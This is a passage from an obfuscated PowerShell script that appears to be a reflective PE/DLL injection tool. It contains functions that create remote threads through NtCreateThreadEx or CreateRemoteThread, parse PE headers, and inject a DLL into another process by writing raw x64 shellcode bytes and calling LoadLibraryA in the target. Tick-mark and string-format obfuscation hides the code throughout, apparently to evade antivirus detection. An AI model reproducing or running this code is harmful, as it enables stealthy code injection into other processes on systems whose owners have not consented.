  963.             ${R`EtV`AL}= ${w`IN32`FuNc`T`iOns}."NTCr`E`ATE`THreA`dEx"."i`NVOKe"([Ref]${Re`MOTeTH`R`ead`HA`NdLE}, 0x1FFFFF,  ( &("{2}{1}{3}{0}" -f 'diTem','e','G','T-ChiL')  vaRIabLE:T2NgF  ).vaLue::"z`ERO", ${PR`OceS`S`Ha`NdLe}, ${ST`A`RTad`Dr`ESs}, ${aRG`UMeN`Tptr}, ${FA`Lse}, 0, 0xffff, 0xffff,  $T2NGF::"Ze`RO")
  964.             ${lA`s`TerRoR} =   $mlHIT::("{1}{3}{2}{0}"-f'32Error','Ge','Win','tLast').Invoke()
  965.             if (${Re`MOTET`hREa`dh`An`dLe} -eq  (  &("{0}{2}{1}" -f'V','aBle','ARI') t2NGf  ).vaLuE::"Z`Ero")
  966.             {
  967.                 Throw ('Err'+'or '+'i'+'n '+'NtCre'+'ate'+'Threa'+'d'+'Ex.'+' '+'Re'+'turn '+'v'+'alue: '+"$RetVal. "+'La'+'stErr'+'or:'+' '+"$LastError")
  968.             }
  969.         }
  970.  
  971.         else
  972.         {
  973.  
  974.             ${re`mo`TethREAdH`ANdle} = ${Win`32f`Uncti`ONs}."c`RE`AteREMOTEThR`E`AD"."InV`oke"(${pRoc`E`S`ShaNd`Le},  $T2nGF::"ze`RO", [UIntPtr][UInt64]0xFFFF, ${STARt`A`dDre`Ss}, ${aRG`UmeNtP`TR}, 0,   ( &('lS')  ('VAR'+'iA'+'BLE:t2'+'NGF')  ).VAluE::"ZE`Ro")
  975.         }
  976.  
  977.         if (${reM`ot`Et`hRea`dHaNdLe} -eq   ( &('gI')  ("VaRI"+"ABLE:T2"+"n"+"Gf") ).vALUe::"zE`Ro")
  978.         {
  979.             &("{1}{0}{3}{2}" -f'ite-E','Wr','r','rro') ("{7}{11}{10}{1}{0}{3}{2}{5}{6}{4}{8}{9}"-f'rem',' ','d, ','ote threa','ead hand','t','hr','Error c','l','e is null','ting','rea') -ErrorAction ("{1}{0}"-f 'p','Sto')
  980.         }
  981.  
  982.         return ${r`EM`O`TeT`HrEadHa`Nd`lE}
  983.     }
  984.  
  985.  
  986.  
  987.     Function G`eT-i`M`AGEnth`E`ADers
  988.     {
  989.         Param(
  990.         [Parameter(POsItion = 0, MaNDAToRy = ${t`RUe})]
  991.         [IntPtr]
  992.         ${pe`HANd`le},
  993.  
  994.         [Parameter(poSITiON = 1, maNDaTOrY = ${TR`Ue})]
  995.         [System.Object]
  996.         ${wIN32`TY`p`eS}
  997.         )
  998.  
  999.         ${ntheaDe`RSIN`FO} = &("{2}{3}{1}{0}"-f 'ect','j','New','-Ob') ("{3}{1}{2}{0}" -f 't','m.','Objec','Syste')
  1000.  
  1001.  
  1002.         ${Do`sHeA`dEr} =   $mlhIT::"P`T`RtostRuCTure"(${PE`H`AnD`le}, [Type]${wIn3`2t`YPes}."IMAGe_D`o`S`_`hea`der")
  1003.  
  1004.  
  1005.         [IntPtr]${N`THEaDE`R`s`Ptr} = [IntPtr](&("{3}{4}{1}{5}{2}{0}"-f'sUnsigned','ign','dIntA','Add-','S','e') ([Int64]${PE`HaNdle}) ([Int64][UInt64]${dos`He`AD`ER}."E_LfA`N`EW"))
  1006.         ${nTheADe`Rs`i`Nfo} | &("{2}{1}{0}"-f 'r','Membe','Add-') -MemberType ("{2}{3}{0}{1}" -f 'pert','y','No','tePro') -Name ("{0}{3}{2}{1}"-f'N','rsPtr','Heade','t') -Value ${NtHEAD`e`Rsp`TR}
  1007.         ${i`M`AGENThe`AdER`S64} =   ( &("{0}{1}{3}{2}"-f 'ch','i','iteM','LD') ('vaRIable:m'+'lH'+'iT') ).vAluE::"PTrtostR`UC`T`URE"(${ntH`EaDErS`p`Tr}, [Type]${wIN3`2`TYP`eS}."imAge_`N`T_hEADERS`64")
  1008.  
  1009.  
  1010.         if (${I`M`AGen`THEa`deRS64}."SiGNA`TuRe" -ne 0x00004550)
  1011.         {
  1012.             throw ("{4}{7}{5}{1}{6}{0}{3}{2}" -f'n','E_NT','re.','atu','Inv','G','_HEADER sig','alid IMA')
  1013.         }
  1014.  
  1015.         if (${IMaG`E`NtHEA`de`R`s64}."Op`TI`OnaLHEA`D`ER"."M`AgIc" -eq ("{8}{1}{5}{0}{6}{4}{2}{7}{3}"-f'OPTIONAL_','MAGE_N','R64_MA','IC','D','T_','H','G','I'))
  1016.         {
  1017.             ${nt`hEADe`RSIn`FO} | &("{1}{2}{0}" -f 'mber','Add-M','e') -MemberType ("{0}{3}{1}{2}" -f'NotePr','er','ty','op') -Name ("{3}{0}{2}{1}" -f 'AG','T_HEADERS','E_N','IM') -Value ${I`MAgENThE`AD`eRS64}
  1018.             ${nt`heAdErs`I`N`FO} | &("{0}{3}{2}{1}" -f'Add','r','mbe','-Me') -MemberType ("{3}{0}{1}{2}"-f 't','ePr','operty','No') -Name ("{1}{2}{0}"-f'Bit','PE6','4') -Value ${T`RUe}
  1019.         }
  1020.         else
  1021.         {
  1022.             ${IM`A`GEn`TheaD`ErS32} =   ( &("{0}{1}{2}"-f'GeT','-vArI','Able') ("M"+"lHiT")  ).ValUe::"PT`RtOS`TRU`CtU`RE"(${NthEa`De`R`SpTr}, [Type]${w`i`N3`2tyPeS}."imaG`E_`Nt`_HEad`ErS32")
  1023.             ${NtH`e`ADeR`si`NFo} | &("{0}{2}{1}" -f 'Add-M','er','emb') -MemberType ("{3}{1}{2}{0}" -f'ty','o','teProper','N') -Name ("{1}{3}{0}{2}"-f'ER','IMAG','S','E_NT_HEAD') -Value ${Im`A`geNthEADEr`S`32}
  1024.             ${NtHe`Ad`ERs`INFo} | &("{0}{1}{2}" -f'Ad','d-Mem','ber') -MemberType ("{3}{1}{0}{2}"-f'Pro','e','perty','Not') -Name ("{1}{2}{0}"-f'4Bit','P','E6') -Value ${fAl`SE}
  1025.         }
  1026.  
  1027.         return ${n`ThEAD`E`RS`iNFO}
  1028.     }
  1029.  
  1030.  
  1031.  
  1032.     Function GEt-P`E`BasiCI`NFo
  1033.     {
  1034.         Param(
  1035.         [Parameter( pOSItIoN = 0, MandAtoRy = ${Tr`UE} )]
  1036.         [Byte[]]
  1037.         ${PEBY`T`es},
  1038.  
  1039.         [Parameter(PosITion = 1, MaNDAtoRY = ${t`RUe})]
  1040.         [System.Object]
  1041.         ${W`IN32TYp`eS}
  1042.         )
  1043.  
  1044.         ${P`eIN`Fo} = &("{2}{1}{0}" -f'ect','j','New-Ob') ("{2}{1}{0}" -f 't','jec','System.Ob')
  1045.  
  1046.  
  1047.         [IntPtr]${unM`ANag`edpeb`YT`eS} =  (  &("{3}{1}{0}{2}"-f'ArIa','T-v','BlE','ge') MlHiT  -ValUeo)::("{1}{2}{0}" -f'obal','Al','locHGl').Invoke(${p`ebY`TEs}."L`EnGth")
  1048.          $MlhiT::("{1}{0}" -f 'y','Cop').Invoke(${peB`yt`es}, 0, ${U`N`mA`NaGEDPEBytes}, ${Pe`ByTES}."lE`Ngth") | &("{1}{2}{0}" -f'Null','Ou','t-')
  1049.  
  1050.  
  1051.         ${NtHea`DeR`SiN`Fo} = &("{2}{1}{0}{4}{3}"-f 't','mageN','Get-I','aders','He') -PEHandle ${u`NmA`N`AGe`dPeBYtes} -Win32Types ${Wi`N32TY`PES}
  1052.  
  1053.  
  1054.         ${PeI`N`Fo} | &("{1}{2}{0}"-f'Member','Add','-') -MemberType ("{1}{2}{0}"-f 'ty','NotePro','per') -Name ("{0}{1}"-f'PE64Bi','t') -Value (${nth`eAdER`sin`FO}."PE6`4Bit")
  1055.         ${Pe`i`NfO} | &("{0}{1}{3}{2}"-f 'A','dd-','ember','M') -MemberType ("{0}{1}{2}" -f'No','teP','roperty') -Name ("{2}{4}{3}{0}{5}{1}"-f 'age','ase','O','m','riginalI','B') -Value (${n`T`HE`ADe`RSiNFo}."iM`AGE_NT_H`EAD`eRs"."oPtiOn`AL`HEA`dEr"."imA`g`EbaSe")
  1056.         ${PE`In`Fo} | &("{2}{0}{1}" -f 'd-M','ember','Ad') -MemberType ("{1}{0}{2}" -f'tePrope','No','rty') -Name ("{1}{2}{0}{3}"-f'ag','Si','zeOfIm','e') -Value (${nThe`A`dersInfO}."IMAGE_N`T_`H`eADe`Rs"."Opt`ioNA`lHeAdeR"."sIzEoFi`m`AGE")
  1057.         ${P`ei`NFO} | &("{0}{2}{1}" -f 'A','er','dd-Memb') -MemberType ("{2}{0}{3}{1}" -f'e','y','NoteProp','rt') -Name ("{0}{2}{1}{3}"-f'Siz','er','eOfHead','s') -Value (${NThEaD`ERs`inFO}."I`mAG`E_Nt_HeaD`ERs"."oPtION`A`LHe`ADer"."SIz`EOF`He`ADe`Rs")
  1058.         ${Pe`iN`Fo} | &("{1}{2}{0}"-f'r','Add-','Membe') -MemberType ("{1}{3}{2}{0}"-f 'erty','Not','op','ePr') -Name ("{4}{3}{1}{0}{2}" -f 'sti','acteri','cs','ar','DllCh') -Value (${NTHe`AdERs`i`N`Fo}."iMag`e`_nt_HEaDE`Rs"."oP`TI`ONAlHEa`DeR"."dLlC`Ha`RaCt`Er`isTI`CS")
  1059.  
  1060.  
  1061.          $MlHiT::("{3}{1}{2}{0}"-f 'l','l','oba','FreeHG').Invoke(${Un`maNA`g`eD`peBYtEs})
  1062.  
  1063.         return ${p`EINfo}
  1064.     }
  1065.  
  1066.  
  1067.  
  1068.  
  1069.     Function Get-PE`detAILE`D`In`FO
  1070.     {
  1071.         Param(
  1072.         [Parameter( poSITiON = 0, maNdAtORy = ${tR`UE})]
  1073.         [IntPtr]
  1074.         ${PEHA`N`dLE},
  1075.  
  1076.         [Parameter(posITIoN = 1, MandAtory = ${T`RuE})]
  1077.         [System.Object]
  1078.         ${WIN`3`2typES},
  1079.  
  1080.         [Parameter(PoSITiOn = 2, mAndAToRY = ${t`RuE})]
  1081.         [System.Object]
  1082.         ${W`in32consTA`N`Ts}
  1083.         )
  1084.  
  1085.         if (${pEH`A`NdlE} -eq ${N`ULl} -or ${p`eHANdLE} -eq  $T2Ngf::"ze`RO")
  1086.         {
  1087.             throw ("{4}{7}{1}{5}{2}{0}{3}{6}"-f'or In','le is','ull ','tPtr.Ze','PEHa',' n','ro','nd')
  1088.         }
  1089.  
  1090.         ${Pein`Fo} = &("{2}{0}{1}" -f'w-Obje','ct','Ne') ("{0}{1}{3}{2}"-f 'Sy','ste','ct','m.Obje')
  1091.  
  1092.  
  1093.         ${NtH`eADe`R`s`INfo} = &("{2}{1}{4}{0}{3}"-f 'geNtHe','-Im','Get','aders','a') -PEHandle ${PE`HAND`le} -Win32Types ${WIN3`2tY`peS}
  1094.  
  1095.  
  1096.         ${PEin`Fo} | &("{2}{1}{0}{3}" -f 'M','dd-','A','ember') -MemberType ("{1}{2}{0}"-f 'erty','Not','eProp') -Name ("{1}{2}{0}" -f'dle','PEH','an') -Value ${pE`hA`NdlE}
  1097.         ${PE`i`Nfo} | &("{0}{3}{1}{2}"-f'Ad','Memb','er','d-') -MemberType ("{0}{2}{3}{1}" -f 'Not','ty','eProp','er') -Name ("{4}{3}{2}{0}{1}" -f 'T_H','EADERS','E_N','G','IMA') -Value (${NtHead`eRS`INFO}."iMAGe_`NT_H`e`ADe`Rs")
  1098.         ${P`EIN`Fo} | &("{2}{1}{0}"-f'ember','d-M','Ad') -MemberType ("{3}{0}{1}{2}" -f'oteProp','ert','y','N') -Name ("{0}{2}{3}{1}" -f'NtHead','r','ersP','t') -Value (${NtH`E`ADE`RSiNFO}."N`ThEa`dErSP`TR")
  1099.         ${P`eINFo} | &("{3}{2}{0}{1}" -f'd-Memb','er','d','A') -MemberType ("{1}{0}{2}" -f 'oteProp','N','erty') -Name ("{2}{1}{0}"-f 'Bit','64','PE') -Value (${nT`H`EadeR`S`inFO}."PE64`BiT")
  1100.         ${PEIn`Fo} | &("{2}{0}{1}"-f'-M','ember','Add') -MemberType ("{2}{0}{3}{1}" -f't','y','No','ePropert') -Name ("{0}{2}{1}" -f'S','age','izeOfIm') -Value (${NTh`EAderSiN`Fo}."i`MaGE`_NT`_HeAde`RS"."OpTi`onAlHE`A`DEr"."siZe`O`F`ImAge")
  1101.  
  1102.         if (${pE`InfO}."pE`64BIT" -eq ${tR`UE})
  1103.         {
  1104.             [IntPtr]${SeCT`i`oN`HeaDE`RptR} = [IntPtr](&("{2}{5}{4}{3}{0}{1}" -f 'ne','d','Add-Signe','ig','AsUns','dInt') ([Int64]${p`E`iNFO}."nth`E`A`DeRsPTr") (  (&("{0}{2}{1}"-f 'v','blE','AriA')  MLhiT  ).VALUe::"s`iZe`OF"([Type]${WI`N`3`2typES}."iMAg`e_Nt_`hEAde`RS`64")))
  1105.             ${peI`NFO} | &("{2}{1}{0}"-f 'ember','dd-M','A') -MemberType ("{3}{2}{1}{0}" -f 'y','pert','otePro','N') -Name ("{1}{2}{0}{4}{3}" -f 'ti','S','ec','nHeaderPtr','o') -Value ${SECtIoNHe`A`dEr`pTr}
  1106.         }
  1107.         else
  1108.         {
  1109.             [IntPtr]${SE`CT`ioNH`e`ADeRPTr} = [IntPtr](&("{0}{2}{4}{3}{1}"-f'A','gned','d','dIntAsUnsi','d-Signe') ([Int64]${Pe`inFo}."nT`heAdeR`SptR") ( $MlhIt::"SIZ`E`OF"([Type]${Wi`N32T`Yp`es}."iM`A`GE_nt_HeAdERs`32")))
  1110.             ${pe`info} | &("{3}{0}{2}{1}"-f'dd-','ember','M','A') -MemberType ("{1}{0}{2}"-f'ote','N','Property') -Name ("{2}{1}{0}{4}{3}"-f 'ion','ct','Se','eaderPtr','H') -Value ${SECT`io`NhEade`RPtr}
  1111.         }
  1112.  
  1113.         if ((${Nt`heA`D`ErSiNFo}."ImAG`e_`N`T_he`AdErs"."FIl`E`heADeR"."Ch`ArACt`e`R`ISTIcS" -band ${W`i`N32C`ONStaN`TS}."iMa`gE`_FIlE_dLl") -eq ${w`In`32cO`NsTaNTS}."IM`AG`E_fIL`e`_DLL")
  1114.         {
  1115.             ${Pe`INFO} | &("{1}{2}{0}"-f '-Member','Ad','d') -MemberType ("{2}{1}{0}{3}" -f'oper','Pr','Note','ty') -Name ("{2}{0}{1}"-f'l','eType','Fi') -Value 'DLL'
  1116.         }
  1117.         elseif ((${N`TheaderS`iNfO}."im`AGE_nt`_Head`eRS"."fI`L`eHeAD`er"."c`Ha`RACT`eRISTics" -band ${WIN32`C`on`sTANTs}."iMaG`E_f`iLE_eXECU`T`AB`L`e`_IMaGE") -eq ${wIN32`cons`TA`NTS}."Ima`ge_fIL`E_E`xEc`UTablE`_im`AgE")
  1118.         {
  1119.             ${PEi`NfO} | &("{0}{1}{2}"-f'A','dd','-Member') -MemberType ("{0}{2}{1}"-f 'No','perty','tePro') -Name ("{1}{0}" -f'ype','FileT') -Value 'EXE'
  1120.         }
  1121.         else
  1122.         {
  1123.             Throw ("{5}{3}{0}{4}{1}{2}" -f'n ','L','L',' not a','EXE or D','PE file is')
  1124.         }
  1125.  
  1126.         return ${pe`iN`FO}
  1127.     }
  1128.  
  1129.  
  1130.     Function impOrt-D`llInRE`mOTEP`R`oCesS
  1131.     {
  1132.         Param(
  1133.         [Parameter(pOsiTiOn=0, manDaTory=${t`Rue})]
  1134.         [IntPtr]
  1135.         ${R`EMOT`e`P`ROChaNdLE},
  1136.  
  1137.         [Parameter(poSition=1, MaNdAtoRY=${T`RUe})]
  1138.         [IntPtr]
  1139.         ${Impor`TDL`LPat`h`PTr}
  1140.         )
  1141.  
  1142.         ${p`TrSi`ZE} =  (  &('gi')  ('VARI'+'ab'+'Le:m'+'lHiT')  ).valUe::"siZ`eOf"([Type][IntPtr])
  1143.  
  1144.         ${Im`PoRTDLL`P`ATh} =   $MlHIt::("{3}{1}{4}{2}{0}"-f'ngAnsi','t','ToStri','P','r').Invoke(${Im`pOR`Tdl`lP`ATHPTR})
  1145.         ${DLLP`AT`hSI`Ze} = [UIntPtr][UInt64]([UInt64]${imP`O`RtDLLpA`TH}."L`eNGTH" + 1)
  1146.         ${rIMpO`RtDLlpATH`p`TR} = ${w`in32`Func`TIonS}."virtU`ALA`lL`O`CEx"."INv`oKe"(${REmote`P`Ro`chA`NDlE},  (  &("{1}{2}{0}" -f'BlE','geT-va','ria') t2ngF ).vALuE::"ze`RO", ${dL`lPAt`h`size}, ${wIN32`CoNS`T`ANts}."m`e`M_cOMmIT" -bor ${wi`N32c`onstA`NtS}."mEm_R`ESER`Ve", ${W`in32`CO`NSTANts}."p`AGE`_rEad`W`RITE")
  1147.         if (${Rim`P`o`Rtdl`L`PatHPtR} -eq   $T2nGF::"ze`RO")
  1148.         {
  1149.             Throw ("{4}{6}{7}{8}{1}{5}{3}{0}{2}{9}"-f'mory in the ','l','remote p',' me','Un','ocate','ab','le t','o al','rocess')
  1150.         }
  1151.  
  1152.         [UIntPtr]${n`UmByTES`W`RITten} =  $9hRWnY::"zE`Ro"
  1153.         ${suC`cE`SS} = ${WIN32`FuN`ctI`ons}."wriT`Ep`RoC`ES`SmEmoRY"."In`VOKe"(${r`eMot`eP`Ro`cHAN`dLe}, ${rImpo`Rt`DLlPA`Th`PTR}, ${I`mP`o`RT`dllpAThPtr}, ${DLlPa`THsi`Ze}, [Ref]${NU`m`ByTes`WriT`T`En})
  1154.  
  1155.         if (${Su`CCe`SS} -eq ${F`AL`se})
  1156.         {
  1157.             Throw ("{4}{2}{7}{0}{5}{3}{1}{9}{8}{6}" -f'o','o ','nab','LL path t','U',' write D','process memory','le t',' ','remote')
  1158.         }
  1159.         if (${D`llP`Ath`sIzE} -ne ${Nu`mBy`TeSW`RiTt`EN})
  1160.         {
  1161.             Throw ((("{6}{1}{8}{9}{7}{5}{0}{15}{2}{10}{13}{11}{4}{16}{12}{14}{3}"-f' wh','ect',' a','s','load','s','Didn{0}t write the exp','byte','ed amoun','t of ',' D','path to ','e rem','LL ','ote proces','en writing',' to th')) -f  [CHaR]39)
  1162.         }
  1163.  
  1164.         ${Ker`NeL`32ha`NDLE} = ${W`IN3`2FUNC`TIONS}."g`etM`oduLehaN`dLe"."i`N`VoKe"(("{2}{0}{1}{3}"-f 'erne','l','k','32.dll'))
  1165.         ${LoaDLIB`Ra`RY`AaDdR} = ${WI`N`32`FuncTiOnS}."G`ETP`RoCaddr`EsS"."invo`ke"(${k`ERNEL`32`haN`dLE}, ("{1}{3}{0}{2}" -f 'rar','LoadL','yA','ib'))
  1166.  
  1167.         [IntPtr]${Dl`lAD`dre`SS} =   ( &("{1}{0}" -f 'Ir','D') ('vaR'+'IABLe:T'+'2NGF')  ).value::"Ze`Ro"
  1168.  
  1169.  
  1170.         if (${PE`iNFo}."pE`64bit" -eq ${Tr`UE})
  1171.         {
  1172.  
  1173.             ${loaD`lIBR`ARyARe`TMem} = ${W`In3`2fUn`ctioNs}."vIr`TUAL`ALlOCex"."inv`oKe"(${rEMO`TePROC`H`A`Ndle},   ( &("{0}{1}{2}"-f 'vaRIa','bL','E') ('T'+'2NGf') -vaLU  )::"zE`RO", ${dLlp`A`ThSI`ZE}, ${wIn`32`cons`TA`NTs}."ME`M`_coMMIt" -bor ${WIn3`2co`NStan`Ts}."Mem_r`es`ERve", ${Wi`N32CoNs`Tan`TS}."pAg`e_R`eADwr`ItE")
  1174.             if (${LOAd`li`BRAr`yAre`TMeM} -eq   $t2NgF::"Z`ERO")
  1175.             {
  1176.                 Throw ("{1}{12}{8}{13}{15}{6}{14}{16}{7}{3}{0}{5}{11}{10}{9}{4}{17}{2}"-f ' re','Unab','yA','he','r','t','ocess',' t',' memo','b',' LoadLi','urn value of','le to allocate','ry in the remote ',' ','pr','for','ar')
  1177.             }
  1178.  
  1179.  
  1180.  
  1181.             ${LoA`DLib`RA`R`ySc1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1182.             ${L`oaDL`iBRAr`Y`Sc2} = @(0x48, 0xba)
  1183.             ${l`oaDlI`BRarYs`c3} = @(0xff, 0xd2, 0x48, 0xba)
  1184.             ${lo`AdLi`BRa`RYSc4} = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1185.  
  1186.             ${Sc`LengTh} = ${lo`ADl`IbRarySC1}."lE`NgTH" + ${LOAdl`ibRa`RYsc2}."lE`Ngth" + ${lO`ADl`iB`RA`RySC3}."L`E`NgTh" + ${l`OADLibRar`y`S`C4}."LEN`g`TH" + (${PT`RSIzE} * 3)
  1187.             ${S`cPSM`em} =  ( &("{3}{1}{0}{2}" -f'e','ILDIt','M','Get-cH') VARIAbLE:MLhIt  ).valUe::("{1}{0}{2}"-f'ocH','All','Global').Invoke(${ScLEN`Gth})
  1188.             ${scP`SMem`Or`ig`InAL} = ${scP`S`mEm}
  1189.  
  1190.             &("{1}{2}{3}{0}{4}"-f 'mor','Write-Byt','esTo','Me','y') -Bytes ${lo`A`DlIBR`ArYsc1} -MemoryAddress ${SC`pSM`em}
  1191.             ${sC`psmeM} = &("{0}{5}{6}{4}{3}{2}{1}"-f 'A','ned','sig','Un','nedIntAs','dd-S','ig') ${SCPSM`Em} (${L`oad`LIb`R`ARYSC1}."lENg`Th")
  1192.              (  &("{0}{1}" -f'vaRiAb','LE') mlHIT).VaLUE::("{2}{1}{0}" -f'ToPtr','cture','Stru').Invoke(${rIMP`OrTDLl`p`Ath`PTR}, ${SCp`sm`em}, ${f`A`LSe})
  1193.             ${s`CPs`MEm} = &("{4}{2}{3}{6}{0}{1}{5}"-f'ns','ign','Sign','edI','Add-','ed','ntAsU') ${SCp`S`MEM} (${P`TrsIzE})
  1194.             &("{3}{5}{0}{1}{4}{2}"-f 'B','yte','emory','Writ','sToM','e-') -Bytes ${L`o`ADlIbRarY`sC2} -MemoryAddress ${scPSM`em}
  1195.             ${s`CpsM`em} = &("{3}{5}{4}{1}{0}{2}"-f 'sUnsig','tA','ned','Add-S','edIn','ign') ${scPs`M`eM} (${lOA`dLi`B`RArY`Sc2}."LE`NGTH")
  1196.              ( &("{1}{2}{0}" -f 'bLe','VARI','A')  mLHIt).VALuE::("{3}{2}{4}{1}{0}" -f 'ToPtr','e','ct','Stru','ur').Invoke(${L`OAdlibr`AR`Ya`A`dDr}, ${S`CPSMEM}, ${F`Alse})
  1197.             ${SC`P`smEm} = &("{1}{2}{4}{0}{6}{5}{3}" -f'edIntAsU','Add-S','i','ned','gn','sig','n') ${s`CpSmEM} (${pt`RsI`Ze})
  1198.             &("{1}{3}{0}{2}{4}"-f'-','Writ','BytesToMemor','e','y') -Bytes ${lo`A`dLIbrArYS`c3} -MemoryAddress ${s`CpsmEm}
  1199.             ${sCpsM`Em} = &("{1}{3}{4}{2}{0}" -f 'd','Add-Sign','igne','edIntA','sUns') ${SC`PS`MEm} (${l`OAdlIBrAr`Y`S`C3}."lEn`gTh")
  1200.              (&("{0}{1}" -f 'G','Ci')  ("vARiaBle"+":"+"mLhIT")  ).VaLuE::("{0}{2}{1}" -f'Structure','Ptr','To').Invoke(${lOADlibr`A`RyAreT`m`em}, ${sCp`sm`Em}, ${f`AL`SE})
  1201.             ${scp`S`mEM} = &("{5}{3}{0}{4}{2}{1}"-f 'dIn','d','Unsigne','e','tAs','Add-Sign') ${SCPS`mEM} (${p`TRS`Ize})
  1202.             &("{6}{3}{0}{1}{5}{4}{2}"-f'sTo','M','ry','e','o','em','Write-Byt') -Bytes ${L`OaDLi`BrARYSc4} -MemoryAddress ${SCps`MEm}
  1203.             ${S`cps`MEm} = &("{4}{5}{6}{2}{3}{1}{0}"-f 'signed','n','A','sU','Add-','S','ignedInt') ${scp`sm`eM} (${lOa`dLiBRa`Ry`sC4}."LeN`g`Th")
  1204.  
  1205.  
  1206.             ${r`SCADdr} = ${WiN3`2`Functi`ons}."VIrTUaLA`L`lo`ceX"."InV`OkE"(${R`E`MOTEP`ROCHANdle},   $t2Ngf::"z`ERo", [UIntPtr][UInt64]${SC`lengTH}, ${WiN`32cOnS`TaN`Ts}."Mem`_CoM`miT" -bor ${W`IN`3`2`ConSTaNts}."Mem_`RES`ERvE", ${wi`N3`2C`OnSTa`NtS}."PA`ge_exE`CutE_Re`ADwr`itE")
  1207.             if (${RSc`ADdr} -eq   $t2Ngf::"ZE`Ro")
  1208.             {
  1209.                 Throw ("{4}{3}{9}{8}{0}{6}{11}{10}{12}{1}{2}{13}{14}{5}{7}{15}"-f'allo','ote ','pro','le','Unab','hel','ca','l',' ',' to',' the r','te memory in','em','ces','s for s','code')
  1210.             }
  1211.  
  1212.             ${s`UC`ceSS} = ${wi`N3`2`FUNcTIO`NS}."W`RI`TEproCe`ssmemoRY"."iN`VoKE"(${r`emoTEpRoCH`AND`Le}, ${r`s`CaDdr}, ${S`CpS`mEmo`RiGiNAl}, [UIntPtr][UInt64]${sCL`enG`TH}, [Ref]${nUmBy`TeSWrI`TT`EN})
  1213.             if ((${S`UcceSs} -eq ${fa`LsE}) -or ([UInt64]${Nu`mbYTE`Swri`Tt`eN} -ne [UInt64]${sCL`e`NgtH}))
  1214.             {
  1215.                 Throw ("{6}{11}{4}{13}{2}{12}{14}{10}{8}{15}{5}{0}{3}{7}{1}{9}"-f 'pr','me','e','ocess','o w','remote ','Unable',' ','de ','mory.','co',' t',' s','rit','hell','to ')
  1216.             }
  1217.  
  1218.             ${rT`h`Read`HAnDLe} = &("{0}{2}{3}{4}{5}{1}"-f 'C','ad','r','eate','-','RemoteThre') -ProcessHandle ${REM`otEpR`oChAN`DLe} -StartAddress ${Rs`C`AdDR} -Win32Functions ${wIN3`2fUNCt`i`onS}
  1219.             ${Re`s`Ult} = ${w`iN32F`Unc`T`ions}."wAiT`Fo`RS`iNGlEO`BjecT"."Inv`OKE"(${rThRE`A`D`ha`NdlE}, 20000)
  1220.             if (${Res`Ult} -ne 0)
  1221.             {
  1222.                 Throw ("{6}{1}{2}{3}{0}{7}{4}{8}{10}{5}{9}" -f're','o',' ','C','teRemo','s ','Call t','a','teThread to','failed.',' call GetProcAddres')
  1223.             }
  1224.  
  1225.  
  1226.             [IntPtr]${retU`Rn`VaLM`em} =   (&("{1}{0}" -f 'i','gC') VARiablE:mLhIt ).VaLuE::("{1}{0}{2}{3}" -f'locH','Al','G','lobal').Invoke(${PT`R`SiZe})
  1227.             ${rE`SuLT} = ${W`I`N`32FUnCT`ioNs}."reAD`p`R`OC`ESSMeMO`RY"."I`NVOkE"(${re`m`oT`ep`RocHAnDLE}, ${L`OaDL`IbraR`YaRe`TmEm}, ${R`E`TURn`Val`Mem}, [UIntPtr][UInt64]${p`Tr`Size}, [Ref]${Numb`yteS`W`RItteN})
  1228.             if (${ReS`U`lT} -eq ${FAL`SE})
  1229.             {
  1230.                 Throw ("{5}{1}{0}{7}{6}{2}{3}{4}" -f'l to','al','ry ','fa','iled','C','adProcessMemo',' Re')
  1231.             }
  1232.             [IntPtr]${d`llADDr`eSs} =  ( &("{2}{0}{3}{1}" -f 'Ri','E','gEt-Va','abl') ('M'+'LhiT')).valuE::"ptr`T`ost`RUCTURE"(${retUrN`V`AlMEm}, [Type][IntPtr])
  1233.  
  1234.             ${WI`N32FUnctI`OnS}."vi`RtUA`LFREEeX"."inv`oKE"(${rEMoTEP`R`och`A`NdLE}, ${LO`ADli`BR`A`RYArETm`Em}, [UIntPtr][UInt64]0, ${wi`N32cONST`AntS}."M`em`_RE`lease") | &("{0}{1}{2}"-f 'Ou','t-','Null')
  1235.             ${W`in`32funcTIOnS}."V`IR`TUAlFR`eeEx"."inv`o`ke"(${Re`mot`EPR`oCh`ANDle}, ${R`SCA`dDR}, [UIntPtr][UInt64]0, ${wI`N32coNs`T`AN`TS}."m`Em_re`leasE") | &("{0}{1}"-f 'Out-Nul','l')
  1236.         }
  1237.         else
  1238.         {
  1239.             [IntPtr]${RtHREaD`H`AndlE} = &("{3}{2}{1}{0}"-f 'emoteThread','R','eate-','Cr') -ProcessHandle ${Rem`o`Tep`RocHandle} -StartAddress ${l`o`A`dLIBRAr`YaaD`dR} -ArgumentPtr ${RiMPO`RTd`llpAT`hp`Tr} -Win32Functions ${W`I`N`32f`UNCTIons}
  1240.             ${r`ESULt} = ${W`IN32FUNc`TI`ONS}."WAiT`FORsiN`gLe`OBject"."iNV`OKE"(${rThr`E`ADHAn`DLe}, 20000)
  1241.             if (${re`sU`lt} -ne 0)
  1242.             {
  1243.                 Throw ("{2}{11}{14}{0}{8}{12}{10}{1}{6}{3}{13}{5}{9}{7}{4}"-f'eRem','al','Call ','ro','ailed.','e','l GetP','f','oteThre','ss ','d to c','to C','a','cAddr','reat')
  1244.             }
  1245.  
  1246.             [Int32]${e`XiTcODE} = 0
  1247.             ${r`ESuLT} = ${w`in3`2F`UNCtiO`Ns}."GetExi`T`cO`d`ET`hreAD"."InV`O`Ke"(${R`Th`R`E`ADHAnDLe}, [Ref]${Ex`I`TcOde})
  1248.             if ((${R`ESU`lt} -eq 0) -or (${EXiT`C`oDE} -eq 0))
  1249.             {
  1250.                 Throw ("{1}{4}{3}{0}{5}{2}" -f 'e','Call to GetExitCode','led','r','Th','ad fai')
  1251.             }
  1252.  
  1253.             [IntPtr]${D`LLAdd`ReSS} = [IntPtr]${eXi`T`co`DE}
  1254.         }
  1255.  
  1256.         ${wIn`32fuN`ct`IONS}."Vir`T`UaLfREeEx"."inV`OKE"(${R`e`motEPR`OCha`NDLe}, ${R`ImPORtD`lL`pat`hp`Tr}, [UIntPtr][UInt64]0, ${WiN`32CO`NStAN`TS}."mem_R`ElEa`Se") | &("{1}{2}{0}" -f 'l','Out-N','ul')
  1257.  
  1258.         return ${DLLa`D`dress}
  1259.     }
  1260.  
  1261.  
  1262.     Function get-r`EmOTEP`ROCAd`DR`ESs
  1263.     {
  1264.         Param(
